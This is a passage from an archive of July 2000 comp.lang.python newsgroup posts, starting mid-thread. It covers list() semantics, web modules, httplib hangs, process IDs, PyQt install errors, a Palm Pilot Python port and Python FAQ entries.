an error.

"1" is a sequence, and its first element, "1"[0], is "1".

It's really quite simple.

The list() function takes any sequence and produces a list with the same
elements as the sequence.

Constructing a list from zero or more values is done with the [ ] "operator":
to make a list out of the integer 1, that is the list with one element of
value 1, you use [1].

> Remember, any sequence can either be a
> single value or a sequence.  Yet here we have a single value denied.  Quirks
> abound.

Sequences can be seen as a single value or as a sequence of values. But that
doesn't imply that any single value can be seen as a sequence. Simple logic.

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
"This gubblick contains many nonsklarkish English flutzpahs, but the
 overall pluggandisp can be glorked from context"  (David Moser)


From ejr at lotus.CS.Berkeley.EDU  Sun Jul 30 16:00:47 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 30 Jul 2000 20:00:47 GMT
Subject: Python plug-ins for Adobe Products available
References: <BvGg5.22$RZ2.62383@news.pacbell.net> <8m06l3$8s4$1@agate.berkeley.edu> <oo%g5.21$T23.40121@news.pacbell.net>
Message-ID: <8m21hf$bmt$1@agate.berkeley.edu>

And Grant Munsey writes:
 - 
 - Thanks for the compliment ... it wasn't exactly easy to convince Adobe
 - that they should have an open source site. I'm hoping it will grow as time
 - goes on.

Thank you for working with them.  Adobe's never been terribly easy 
to work with, ime, so your effort is greatly appreciated.  I still
think they could make a good deal of money selling Framemaker, etc.
even if they were free software (especially by bundling fonts), 
but...  And then there are the patent issues in the graphics software.  
sigh...

 - This might be useful for someone who finds SWIGs allowable parameter
 - types a bit to restrictive.

Are you aware of cxx.sourceforge.net?  It's a very nice package to
help integrate C++ and Python.  I'm not sure if it applies directly,
but it may be worth a look.

 - I said the license is liberal because I'm happy it turned out that way ...

The license is very nice indeed.  I'm shocked Adobe did something
like that.

 - I wrote the plug-ins for the Adobe products because I wanted them.

That's perfectly fair.  I just wanted people to know that there are
free alternatives that could use the help.  Sketch is particularly
interesting; it's written in Python.  So you not only get the 
benefits of working in a nice language, you also get the benefits
of working with free software.

 - What really worries me is the wrangling over the Python license ... 

Yes, that bothers me, too.  I don't want to have to think about the
license, and the current one allows that.

Jason


From jhe at webde-ag.de.bbs  Tue Jul 18 04:20:06 2000
From: jhe at webde-ag.de.bbs (jhe at webde-ag.de.bbs)
Date: 18 Jul 2000 08:20:06 GMT
Subject: Getting local IP address...
Message-ID: <3bRh16$kmS@openbazaar.net>

"Tony Johnson" <gjohnson at gs.verio.net> schrieb im Newsbeitrag
news:01BFEFF9.AE1E26D0.gjohnson at gs.verio.net...
> Yes I understand that os.system is to be used with extreme caution.  The
> ifconfig eth0 command does nothing but query information already stored
and
...
> I don't see any probs...

> ifconfig
bash: ifconfig: command not found

Falls into my definition of "probs". :>  On many machines, /sbin is not in
the path of normal users, and on many machines, it's not called "/sbin". :)

Bye, J?rgen


From shapr at uab.edu  Wed Jul 19 08:17:06 2000
From: shapr at uab.edu (Shae Erisson)
Date: Wed, 19 Jul 2000 12:17:06 GMT
Subject: Python et Question sur Linux
References: <8l43gh$j3u$1@broadway.news.is-europe.net>
Message-ID: <39759F47.3CC7423A@uab.edu>

J?r?me Lecomte wrote:

Bonjour, 

> J'ai commenc? ? regarder Python. Ca a l'air vraiment bien (plus facile
> et plus clair que Perl et mieux int?gr? avec le reste du monde que
> tout ce que j'ai vu jusqu'a pr?sent). Tu connais ?

Je suis d'accord. Pour moi, Python est toujours mieux que Perl :)

> Mon fr?re envisage d'installer Linux sur son PC (266Mhz) pour
> programmer. Il faut compter combien de DD pour ?tre confortable. 500Mo
> peut faire l'affaire, ou il faut 1Go min.

Linux n?cessite plus que 300Mo pour ?tre confortable. Mais si tu veux
utiliser Xwindow, 500Mo ou 700Mo est mieux. J'ai presque tout de Debian
Linux sur mon PC, et ?a prend 3Go de DD.
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From timr at probo.com  Sun Jul  9 00:19:38 2000
From: timr at probo.com (Tim Roberts)
Date: Sat, 08 Jul 2000 21:19:38 -0700
Subject: Py_Apache Vs. mod_python
References: <3963CF19.3F4CDA8D@bioeng.ucsd.edu> <87zonvso9c.fsf@cachemir.echo-net.net>
Message-ID: <71vfmsc0sspvpg3mq8k3s1ri653908u9nk@4ax.com>

Roland Mas <mas at echo.fr> wrote:

>Curtis Jensen (2000-07-05 17:13:13 -0700) :
>
>> What is the difference between Py_Apache and mod_python?
>
>There's mod_snake too, just to add to the confusion.

I'll say.  Am I correct in understanding that the basic purpose of
"mod_snake" is to allow me to write other Apache modules in Python, while
PyApache is a module which lets me run Python CGI scripts without launching
a separate interpreter, just like mod_perl?

I tried to get interested in PHP, but the more I read, the more it seemed
to be a confused mishmash of features gathered from other places.  I
thought it might be nice to be able to write web pages that were mostly
HTML, with server-side scripts interspersed, but it seems that many PHP
pages are written like CGI scripts that happen to run inside Apache.  As
long as I'm going to do that, I'd rather use Python.
--
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From ge at nowhere.none  Fri Jul 28 10:03:00 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 28 Jul 2000 14:03:00 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <Pine.GSO.4.10.10007281010300.4194-100000@sundial>
Message-ID: <oogg5.2633$6E.681244@ptah.visi.com>

In article <Pine.GSO.4.10.10007281010300.4194-100000 at sundial>, Moshe Zadka wrote:
>On Fri, 28 Jul 2000, Grant Edwards wrote:
>
>> >list() (and tuple()) only work on objects that actually have a
>> >sequence mapping makes a lot of sense and, to me, resolves the
>> >ambiguity in precisely the way I would expect.
>
>> Is 'sequence mapping' for list() an tuple() defined the same as
>> for the 'for' statement: it has a get_item(i) method that
>> returns either a value or raises an exception?
>
>Actually, I think these two want an __len__ method too.

At this point somebody is required to complain about the
vagueness of Python interfaces, and if there was some sort of
language facility for defining the interface for a "sequence"
then I wouldn't have had to ask that question.

Since it's Friday, and the person assigned to the task of
complaining about interfaces is off today, I've filled in
temporarily.  But I'm goign golfing at noon, so if you want to
argue about it you'll have to make an appointment with the
regular staff on Monday.  Since I'm just filling in, all I'd be
able to provide is rote contridiction -- which we all know
isn't a real argument...

-- 
Grant Edwards                   grante             Yow!  HUGH BEAUMONT died
                                  at               in 1982!!
                               visi.com            


From michael at stroeder.com  Thu Jul 20 02:16:37 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Thu, 20 Jul 2000 08:16:37 +0200
Subject: HTTPS support?
References: <20000719161558.A1809@freei.com>
Message-ID: <39769945.6CB82A3B@stroeder.com>

Sean Blakey wrote:
> 
> Are there any current SSL libraries for Python?

M2Crypto found on http://www.post1.com/home/ngps/m2/

Ciao, Michael.


From a.kupries at westend.com  Fri Jul 28 17:12:44 2000
From: a.kupries at westend.com (Andreas Kupries)
Date: 28 Jul 2000 23:12:44 +0200
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net>
	<398126DE.6E2C2627@ajubasolutions.com>
Message-ID: <m3k8e6q7qr.fsf@bluepeak.westend.com>

Dan Kuchler <kuchler at ajubasolutions.com> writes:
 
> Cameron Laird wrote:
> > 
> > <URL:http://deja.com/=dnc/getdoc.xp?AN=651665267> is the most pro-
> > vocative summary I've yet seen of Larry Wall's talk at the O'Reilly
> > Open Source Convention.  Mark-Jason Dominus's typically masterful
> > <URL:http://www.perl.com/pub/2000/07/perl6.html> provides technical
> > details.  I think at least the first of these will reward a quick
> > read by everyone involved in planning the futures of, for example,
> > Python and Tcl.  I applaud Conrad Schneiker for his care in prepar-
> > ing this.
 
> More interesting to me (and perhaps more interesting to some here in
> the comunity) are the notes from the initial brainstorming session
> on July 17th about what Perl 6 will be (what are the reasons for
> making it, what features might be added, etc.)
 
> http://www.perl.org/perl6/pr/initial_meeting.html
> 
> Lots if interesting little tidbits in here.
> 
> They talk of adding stacked IO channels "a l a Tcl"

Gee. How nice :)


Well, there are some other things on these pages which catched my eye
as well beyond stacked channels, both technically and socially.

Lets see:

<quote http://www.perl.org/perl6/initial_meeting.html>
> Syntax separation - multiple syntaxes ?
> Perl6 offers the possibility to ... write Perl programs in multiple
> syntaxes such as Python, JavaScript, and Perl5 ...

This reminds me of Guile, which tried to do the same thing, no ?
Universal lisp engine below, multiple formats for programming it
above. Here just with the perl engine below. A try to unify
interpreters ? See also Jean-Claude's Minotaur, using a forth engine
below and beside interpreters for several scripting languages to allow
them to use each other (and their extensions) hither and fro. With the
long-term goal to make each interpreter a set of routines above the
universal forth engine below. Hm.


<quote http://www.perl.com/pub/2000/07/perl6.html>
> Perl is too big for one person to manage, and the pumpkings burn out
> to quickly. The new model will probably be several separate working
> groups, each charged with the design and implementation of one
> aspect of perl.

This reminds me strongly of Python SIGs and one of the adjunct
proposals to the TCT made here on c.l.t, i.e. grouping several other
teams around the TCT. It is interesting to see that all the major
scripting languages go into very similar directions in their
development models.


<quote http://www.perl.com/pub/2000/07/perl6.html>
> Larry said that the Porters were thinking about ... an RFC-like
> mechanism.

This is something Matt Newman argued eloquently for and for some time
now. The Pythoneers (Pioneers?) have set such a structure up already,
not very long ago, the Python Enhancement Proposals (PEP), see

	http://python.sourceforge.net/peps/

for the first set.

-- 
Sincerely,
	Andreas Kupries <a.kupries at westend.com>
		<http://www.purl.org/NET/akupries/>
-------------------------------------------------------------------------------


From fiona at sitegnome.com.bbs  Fri Jul 14 00:10:02 2000
From: fiona at sitegnome.com.bbs (fiona at sitegnome.com.bbs)
Date: 14 Jul 2000 04:10:02 GMT
Subject: [FAQTS] Python Knowledge Base Update -- July 14th, 2000
Message-ID: <3bOUOQ$mPq@openbazaar.net>

Hello!

Once again another collection of entries into http://python.faqts.com

Cheers,

Fiona


## New Entries #################################################


-------------------------------------------------------------
How do I import a file that isn't in the pythonpath?
http://www.faqts.com/knowledge-base/view.phtml/aid/4719
-------------------------------------------------------------
Fiona Czuczman
Mike 'Cat' Perkonigg

The easiest way is to put '.' in your PYTHONPATH.
But you can extend your path with any directory in your python code
with:

>>>import sys
>>>sys.path.append (path-to-load-modules-from)


-------------------------------------------------------------
Is there a Python module that would allow me to easily parse and format vCards?
http://www.faqts.com/knowledge-base/view.phtml/aid/4720
-------------------------------------------------------------
Fiona Czuczman
Henning Schroeder

The new WorldPilot 1.1alpha contains such a module (file vCard.py)

ftp://demo.worldpilot.com/pub wppocket-1.1.0alpha2.tgz

(see wppocket-1.1.0alpha2.tgz)


-------------------------------------------------------------
Is there anybody who has worked on wbmp converter image from any other format in Python? If yes, where can I find it?
http://www.faqts.com/knowledge-base/view.phtml/aid/4721
-------------------------------------------------------------
Fiona Czuczman
Duncan Booth

Try http://www.rcp.co.uk/distributed/Downloads

The file wbmpconv.zip (1192k) is a command line convertor to/from wbmp
format (Win32 binary). Alternatively, wbmpconvsrc.zip (8k) contains the
python sources. The source version requires that you have Python and PIL
installed on your machine, the binary is completely self contained but a
bit large as it needs to include the Python and Tk dlls.

Obviously the source version lets you convert to/from any image formats
supported by PIL, the win32 binary supports:
ARG BMP* CUR DCX EPS* FLI FPX GBR GIF* ICO IM* IMT IPTC JPEG* MCIDAS MIC
MPEG MSP* PCD PCX* PIXAR PNG* PPM* PSD SGI SUN TGA TIFF* WBMP* WMF XBM*
XPM XVTHUMB (the ones with a * may be read or written, the other formats
may only be read).


-------------------------------------------------------------
What is UnboundLocalError for?
http://www.faqts.com/knowledge-base/view.phtml/aid/4722
-------------------------------------------------------------
Fiona Czuczman
Tim Peters

When a local name is referenced but has not been bound to a value.  In
other words, it's an unbound local error <wink>.  Note that
UnboundLocalError is a subclass of NameError, because it's a more
specific form of NameError, so old code expecting to catch NameError
exceptions will still catch UnboundLocalError exceptions.  In 1.5.2 and
before, NameError was thrown regardless of whether the offending name
was local or global.  So UnboundLocalError gives more information.

> I encountered it when I made a mistake like this:
>
> >>> f()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "<stdin>", line 1, in f
> UnboundLocalError: l
> >>>

So your function f (which you have not shown us) refers to a local name
"l" which you didn't give a value before referencing it.  It's
impossible for us to guess what you put in the body of f; here's one
possibility:

>>> def f():
...     l = l + 1   # local "l" referenced on the right before
definition
...     return l
...
>>> f()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 2, in f
UnboundLocalError: l
>>>


## Edited Entries ##############################################


-------------------------------------------------------------
What is wxPython? How does it compare with Tkinter?
http://www.faqts.com/knowledge-base/view.phtml/aid/3565
-------------------------------------------------------------
Fiona Czuczman, Olivier Dagenais
Shae Erisson,http://www.lpthe.jussieu.fr/~zeitlin/wxWindows/docs/wxwin465.htm#wxpother

wxPython [ http://www.wxpython.org ] is a set of Python bindings for
the GUI toolkit wxWindows [ http://www.wxwindows.org ], that was
written as a C++ library to provide a platform-independant way of
implementing rich and fast user interfaces.

-----------------------------------------------------

I chose wxPython over Tkinter (for my projects) because:
- wxWindows seems to have more widgets than Tk
- special widgets (like the TreeView) are implemented using the
operating system's native implementations, not complete re-writes
- it's more than a "lowest common denominator" among platforms,
wxWindows seeks to provide the same, advanced functionality on all
platforms, even if it means they have to write a lot of code to
complement a platform's native component
- wxWindows seems to cover more ground, in terms of functionality (it's
more than a GUI toolkit, it also seeks to provide functions/classes for
files, threads, printing, clipboard, networking, ODBC, etc...)
- I was *really* impressed with the wxPython demo

-----------------------------------------------------

The wxWindows documentation emphasizes the "less good" points of other
GUI toolkits (namely Tkinter) to motivate wxPython:

http://www.lpthe.jussieu.fr/~zeitlin/wxWindows/docs/wxwin465.htm#wxpothe
r


-------------------------------------------------------------
Should __getattr__ increment the reference count before it returns the appropriate attribute, or not? writing a Python module in C
http://www.faqts.com/knowledge-base/view.phtml/aid/2907
-------------------------------------------------------------
Fiona Czuczman
Gordon McMillan

It should incref the attribute and leave the owner alone.

Imagine a sequence like this:
 newref = a.b # here's your __getattr__
 a = None
Now a's refcount drops. If it drops to 0, it gets deallocated, which
will decref b. Without an incref in __getattr__, the user would have
an invalid reference.


-------------------------------------------------------------
How do I check to see if a file exists?
http://www.faqts.com/knowledge-base/view.phtml/aid/2782
-------------------------------------------------------------
Fiona Czuczman
Fredrik Lundh,Peter Schneider-Kamp

To check if a file exists use:

>>> import os.path
>>> os.path.exists("python/")
1
>>> os.path.exists("spam/")
0
>>> os.path.exists("python/patches/submitted/array.pop-extend.patch")
1

If you only want a true for regular files have a look at isfile():

>>> os.path.isfile("python/")
0
>>> os.path.isfile("spam/")
0
>>> os.path.isfile("python/patches/submitted/array.pop-extend.patch")

for more info or other function look at:
http://python.org/doc/current/lib/module-os.path.html


From mhaselup at clicktomarket.com.bbs  Sun Jul 16 18:20:02 2000
From: mhaselup at clicktomarket.com.bbs (mhaselup at clicktomarket.com.bbs)
Date: 16 Jul 2000 22:20:02 GMT
Subject: Application testing
Message-ID: <3bQbh2$jmC@openbazaar.net>

I need to carry out some testing of a cgi application from a Browser client.
I have been informed that I can use Python (or some of it's extensions) to
capture and replay the http traffic between the Browser and the Webserver to
simulate a user session. Unfortunately I've not been able to find any
information on this usage in the books I've looked at so far. I am also
interested in any other applications free or otherwise which would allow me
to do this.

I would like to be able to capture the traffic and edit it to allow modified
replays of sessions. Can anbody help with this? Should I be looking at other
news groups for these features?

Thanks.


From mwh21 at cam.ac.uk  Fri Jul 21 02:54:02 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 21 Jul 2000 07:54:02 +0100
Subject: process id from os.system
References: <3977482B.478D2754@sec.noaa.gov>
Message-ID: <m3bszsnfcl.fsf@atrus.jesus.cam.ac.uk>

j vickroy <jvickroy at sec.noaa.gov> writes:

> How can I obtain the process id for a program launched via
> 
>   os.system (theProgram) ?
> 
> I would like to do this portability (Unix, Windows).
> 
> Presently on Unix, I'm getting the pid by parsing the output from:
> 
>   "ps -ef | grep theProgram"
> 
> but that seems messy and unreliable since "theProgram" may be truncated
> in the output from ps.

I think you should be able to use the os.spawn* functions in
1.6^H^H^H2.0 for this, eg:

>>> os.spawnlp(os.P_NOWAIT,"xterm","xterm")
4722

the spawn* functions are easy-ish to implement in terms of exec* &
fork; look here:

http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/python/dist/src/Lib/os.py?rev=1.35&content-type=text/x-cvsweb-markup&cvsroot=python

HTH,
Michael

-- 
8. A programming language is low level when its programs require
   attention to the irrelevant.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From thomas at xs4all.net  Tue Jul 18 04:51:48 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 18 Jul 2000 10:51:48 +0200
Subject: Wherefore art thou, 1.6?
In-Reply-To: <3973D9DB.9E141287@prescod.net>; from paul@prescod.net on Mon, Jul 17, 2000 at 11:15:23PM -0500
References: <3973D0A1.5E1289D9@concentric.net> <3973D9DB.9E141287@prescod.net>
Message-ID: <20000718105147.W7340@xs4all.nl>

On Mon, Jul 17, 2000 at 11:15:23PM -0500, Paul Prescod wrote:
> Manus Hand wrote:

> > Can someone please post a status on 1.6?

> Here's part of the story:
> http://www.pythonlabs.com/news_sitelaunch.html
> And the next part:
> http://www.pythonlabs.com/tech/python2.html
> And some more:
> http://www.python.org/pipermail/python-dev/2000-July/011960.html
> http://www.python.org/pipermail/python-dev/2000-July/012574.html

> No news since.

Well, not really. There was:

http://www.python.org/pipermail/python-dev/2000-July/012485.html

and the follow-ups (in particular:

http://www.python.org/pipermail/python-dev/2000-July/012489.html

which isn't an official statement, and a comforting one at that! :)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From buzzard at urubu.freeserve.co.uk  Thu Jul 20 18:47:47 2000
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Thu, 20 Jul 2000 23:47:47 +0100
Subject: Closing a file
References: <8l7lm7$kkb$1@news6.svr.pol.co.uk> <pLKd5.4730$FA2.524729@nnrp3.clara.net>
Message-ID: <8l7vlm$r63$1@news6.svr.pol.co.uk>

I am using PythonWin.  I do try to close the file with outputfile.close()
after the second 'if'.  I don't understand why it apparently doesn't work.
ie. I want to open a file and write to it on the first iteration (which it
does), write to it on subsequent iterations (which it does), and close it
after a certain number of iterations (which it doesn't).  Thanks for your
help, but I'm afraid I'm still stuck.




From kmp at atrium.fsnet.co.uk  Sun Jul  2 16:09:51 2000
From: kmp at atrium.fsnet.co.uk (Kenneth Payne)
Date: Sun, 02 Jul 2000 20:09:51 GMT
Subject: Problem Installing PyQt-012
Message-ID: <20000702.20095100@linux.local>

I'm trying to install the Python bindings to Qt/KDE. I've downloaded 
the latest sources for Sip. PyQT and pyKDE. I've compiled and 
installed Sip and compiled PyQT. All seemed to go Ok, though I had to 
fiddle a bit to get them to compile on Suse 6.3. However, on the "make 
install" for PyQt, I get an error when the install routine hits a 
Python script:

Traceback (innermost last):
  File "<string>", line 1, in ?
  File "/usr/lib/python1.5/qt.py", line 16, in ?
    import libqtc
ImportError: /usr/lib/python1.5/lib-dynload/libqtcmodule.so: undefined 
symbol: __ti8sipProxy
make[3]: *** [install-data-hook] Error 1
make[2]: *** [install-data-am] Error 2
make[1]: *** [install-am] Error 2
make: *** [install-recursive] Error 1

I've obviously screwed up in either the configure scripts or there's 
something not set in my environment. Anyone know what I've done wrong?

-- Ken





From rmartin at objectmentor.com  Tue Jul 11 16:15:01 2000
From: rmartin at objectmentor.com (Robert C. Martin)
Date: Tue, 11 Jul 2000 15:15:01 -0500
Subject: Missing OmPyUnit module in OmPyUnit
References: <0hk75.10271$HD6.284269@iad-read.news.verio.net>
Message-ID: <smn04s5ond658@news.supernews.com>

"Doug Fort" <dougfort at downright.com> wrote in message
news:0hk75.10271$HD6.284269 at iad-read.news.verio.net...
> We've been using Steve Purcell's PyUnit from SourceForge.  It's limited,
but
> reliable.  I'm attempting to investigate OmPyUnit as an alternative.  It
> seems to offer more functionality, plus I have great respect for
> ObjectMentor ands Robert Martin.
>
> However, the package I downloaded seems to be missing a module:
OmPyUnit.
> What's up with this?  It doesn't fill me with confidence.

My Mistake.  I accidentally deleted the __init__.py file from the OmPyUnit
directory.  This file tells python that OmPyUnit is a module.  The current
release has fixed this, and also has better installation instructions.


--

Robert C. Martin    | "Uncle Bob"              | Training Courses:
Object Mentor Inc.  | rmartin at objectmentor.com | OOD, Patterns, C++, Java,
PO Box 85           | Tel: (800) 338-6716      | Extreme Programming.
Grayslake IL 60030  | Fax: (847) 548-6853      | http://www.objectmentor.com

"One of the great commandments of science is:
    'Mistrust arguments from authority.'" -- Carl Sagan




From mfletch at tpresence.com  Sun Jul 23 00:59:01 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Sun, 23 Jul 2000 00:59:01 -0400
Subject: bit manipulation frustration
Message-ID: <CC59868A0A76D311B1F50090277B321C1F3453@VRTMAIL>

(This is untested (don't have data file), and hacky, but should give ideas
for a one-off):

input = open('somefile.dat').read()
file = []
currentlength = 4
while input:
	pad = '\000'*( (88-currentlength)/2)
	line = pad + input[:currentlength] + pad
	input = input[currentlength:]
	if len(file) > 21:
		currenlength = currentlength - 4
	else:
		currenlength = currentlength + 4

Oh, for converting to 16-bit integers (unsigned)
import struct
def convert( line ):
	return struct.unpack ( 'H'*(len(line)/2), line )

(That's in machine-native order, use '>'+('H'*...) for network order).

HTH,
Mike

-----Original Message-----
From: Courageous [mailto:jkraska1 at san.rr.com]
Sent: Saturday, July 22, 2000 11:39 PM
To: python-list at python.org
Subject: bit manipulation frustration



Okay. I'm getting a bit frustrated here. I'm trying to suck
bits out of a file (which is in a simple, but non standard
image format) and then convert this to a bitmap for wxPython.
I haven't gotten to the wxBitmap part yet, which I am assuming
will be easy, but the in-between part is driving me nuts.

First, in one fell swoop of antigenious, I seem to have
forgotten how to convert strings to sequences of char and
vice versa. Eeek. Help? Will someone please remind me and
hit me with a rubber mallet??? :)

Second, this whole paradigm seems so skrewball. While I
know exactly how to implement all of this in a external
C module, the program I'm writing is just a one off, and
I was expecting it to be easier in python.

The bitmap image is 16 bit color, but it's stored in
byte runs. As I load the image, I need to load 2,4,6,
8...44,42,40...2, 16 bit chunks at a time, but as I'm
doing this I have to create "black" runs on either side,
making the whole thing 44x44 (it's an isometric tile...
a square rotated 45 degrees, but bitmaps are square,
get it?)

I'm not seeing an elegant solution here; loading the
image as a string to begin with isn't right, because
my chunks are actually two byte chunks.

Anyone with any practical experience on how to *BEST*
do this kind of thing?

Am I just not thinking about this right?




C/
-- 
http://www.python.org/mailman/listinfo/python-list



From lale at fotonation.com  Sat Jul  1 09:58:02 2000
From: lale at fotonation.com (Ilariu Raducan)
Date: Sat, 1 Jul 2000 14:58:02 +0100
Subject: Uploading binary files
References: <Z9475.7$qm5.709@ord-read.news.verio.net>
Message-ID: <8jktda$r10$1@kermit.esat.net>

Can we see the HTML code for the form?

"Chris Biegay" <cbiegay at objectmentor.com> wrote in message
news:Z9475.7$qm5.709 at ord-read.news.verio.net...
> I'm trying to upload files through an HTML form, but it only works
> for text files.  When I try to send a jpeg or something the process just
> hangs, and I can't even change the script afterward since the webserver
> won't release the file!  Any ideas?  This is basically how I'm doing it
now:
>
> form = cgi.FieldStorage()
> formItem = form[inputName]
>
> if formItem.file:
>     print "Received file [" + formItem.filename + "]"
>     data = formItem.file.read()
>     ...
>
>




From collins at manhattan.aero.org  Mon Jul 10 23:52:44 2000
From: collins at manhattan.aero.org (Jeff Collins)
Date: Mon, 10 Jul 2000 20:52:44 -0700
Subject: [ANN] Python port to Palm Pilot
In-Reply-To: <FxIJ0z.H28@world.std.com>
References: <200007070140.SAA31035@wd264.aero.org>
	<200007101546.IAA09887@rushe.aero.org>
	<FxIJ0z.H28@world.std.com>
Message-ID: <14698.38478.979087.248189@malibu.aero.org>

Will Ware writes:
 > JEFFERY COLLINS (collins at rushe.aero.org) wrote:
 > > Download the .zip file instead.  Apparently, downloading
 > > the .prc files using a browser corrupts the files.
 > 
 > I also ran into a nasty crash that required a cold boot,
 > inspite of using the .zip file. The file sizes are correct
 > according to the download web page. Is it possible the last
 > test just takes such a long time that it ties up the 68k and
 > only appears to have crashed? The place it stops is "Testing
 > 3-argument pow() function..."
The download problem actually produced a Fatal Error message.  I
should have warned about the time consumed by the test app
and its uninterruptibility.

 > 
 > Wait, it's moving again! It returned to the main menu. Cool.
 > 
 > What are the chances of getting a read-eval-print loop
 > running on the Pilot? While I'd rather write Pilot apps in
 > Python than some other languages, I'd love to be able to
 > write Python source right on the Pilot itself.

I have a primitive interface, for demo purposes only.  Its quite cool
to type interactively into the palm and watch the result appear on the 
screen.  I don't plan to release it - it's much to ugly.  Instead, I'm 
looking into adopting a LispMe-like interface.  Before any of that
happens, more integration with the palm environment will be needed.

Jeff




From paul at prescod.net  Mon Jul 17 17:35:23 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 16:35:23 -0500
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <trKc5.47978$MT.1599543@news-west.usenetserver.com>
Message-ID: <39737C1B.802BA6AF@prescod.net>

Matthew Cline wrote:
> 
> ....
> 
> That's another reason why I'd like the type checking to be done by the
> Python compiler, because it could be intelligent about those things.
> Like for "list" it could accept a tuple, a list, or anything derived
> from UserList.

Most list-like Python objects do not derive from UserList. We could
argue whether they should or should not but the point is that your
syntactic change would only provide maximum benefit if Python
programmers change their programming style. That's why it is not
something that can be implemented overnight.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From gee308 at mediaone.net  Mon Jul 24 02:12:56 2000
From: gee308 at mediaone.net (Toy)
Date: Mon, 24 Jul 2000 06:12:56 GMT
Subject: newb Q: security with variables
Message-ID: <397BE388.349CCA17@mediaone.net>

Could you please explain to me various secure ways of having a python
script store variables such as your password/username in a file.
I understand that you can chmod 0400 <variables.file>, but are there any
other alternatives?

Also, can you run python code with files that don't end with the python
extensions(.py and others)?  That way it would make it less obvious that
it was some sort of script.  Thanks
Jason Toy
toyboy at toy.eyep.net
http://toy.eyep.net



From qtmstr at optonline.net  Thu Jul 27 04:06:33 2000
From: qtmstr at optonline.net (QuoteMstr)
Date: Thu, 27 Jul 2000 08:06:33 GMT
Subject: Find where you left off...
References: <397F7BF5.F4A0138D@yahoo.com>
Message-ID: <slrn8nvree.35n.qtmstr@d30-146.hcvlny.optonline.net>

In article <397F7BF5.F4A0138D at yahoo.com>, Paul Winkler wrote:
>A little trick I discovered today:
>when writing python in emacs, you can mark the spot where you
>stopped just by writing some arbitrary text like "start from here"
>or whatever. Next time you open this file in emacs, just do C-c C-c
>; python throws an exception and emacs jumps to the offending line.

That's a dangerous practice. Python doesn't catch all such errors when
the script executes. If you put the error inside a function that isn't
called except under special, rare circumstances, you won't notice
until you encounter it. Furthermore, if you forget about an error, it
will stay there, as a bug, until someone tries to execute the
offending piece of code.

-- 
"I know not with what weapons World War III will be fought, but I know
that World War IV will be fought with sticks and stones." -- Einstein


From thamelry at vub.ac.be  Fri Jul  7 03:46:16 2000
From: thamelry at vub.ac.be (Thomas Hamelryck)
Date: 7 Jul 2000 07:46:16 GMT
Subject: More math on the O'Reilly Network
References: <3964CA9B.CBCD5B03@oreilly.com>
Message-ID: <8k41s8$a8i$1@snic.vub.ac.be>

Stephen R. Figgins <fig at oreilly.com> wrote:
[knips]
: I am having fun with these, but I am a closet Math head who signed and
: edited these particular articles, so I am probably biased.  Anyone care
: to give me some feed back on the O'Reilly Network python forum?
[knips]

Well, it's more an introduction to vector and matrix algebra than a tutorial 
on Numpy. Most people who take the trouble installing Numpy are quite familiar 
with this stuff.

Cheers,

---
Thomas Hamelryck    Institute of Molecular and Structural Biology 
Aarhus University   Gustav Wieds Vej 10C DK-8000 Aarhus C Denmark 
http://zombie.imsb.au.dk/~tham


From zo at angband.org  Mon Jul 31 20:48:05 2000
From: zo at angband.org (Eric Lorenzo)
Date: 31 Jul 2000 20:48:05 -0400
Subject: httplib hung on read
References: <8m4m48+g8f4@eGroups.com>
Message-ID: <3h3dkpiz7e.fsf@angband.org>

ftian at cs.wisc.edu writes:
> I am using the httplib to get some webpage, it hungs sometimes
> in the following senario,
> 
> http = httplib.HTTP('myhost')
> http.putrequest('GET', myurl)
> http.putheader(...)
> http.endheaders()
> 
> errcode, errmsg, header = http.getreply()
> myfile = http.getfile()
> # "Still OK here"
> page = myfile.read()
> # Sometimes Cannot Reach here
> 
> the page can be opened with IE, and it only hungs sometimes.
> Anyone know the reason?  Thanks.

I use httplib heavily in one of my programs, and I found that it would
occasionally hang for no apparent reason.  Similarly, occasionally I
find that some sites occasionally hang when I try to load pages in a
browser - I connect okay, but never get any response.  I'm assuming
that httplib is hanging for the same reason as my browser - except
that my browser eventually times out.

I handled this in my app by forking off a seperate thread to do the
HTTP requests, and have the main thread do a '.join(60)' on the
request thread - so that if the request thread hasn't completed in 60
seconds, the main thread will continue, and I'll treat this as a
failure to connect.  Maybe not the cleanest solution, but it worked
okay for my purposes.

Eric


From BgPorter at NOacmSPAM.org  Wed Jul 19 21:24:49 2000
From: BgPorter at NOacmSPAM.org (Brett g Porter)
Date: Thu, 20 Jul 2000 01:24:49 GMT
Subject: CDDB
References: <3976402D.9B957E2F@uniserve.com>
Message-ID: <Bxsd5.76050$lU5.515668@news1.rdc1.nj.home.com>

See:
http://csl.cse.ucsc.edu/~ben/python/

"Bob van der Poel" <bvdpoel at uniserve.com> wrote in message
news:3976402D.9B957E2F at uniserve.com...
>
> Has anyone converted the cddb code which calulates the cddb id and track
> timing for a cd from C to python? Looks like it should be possible
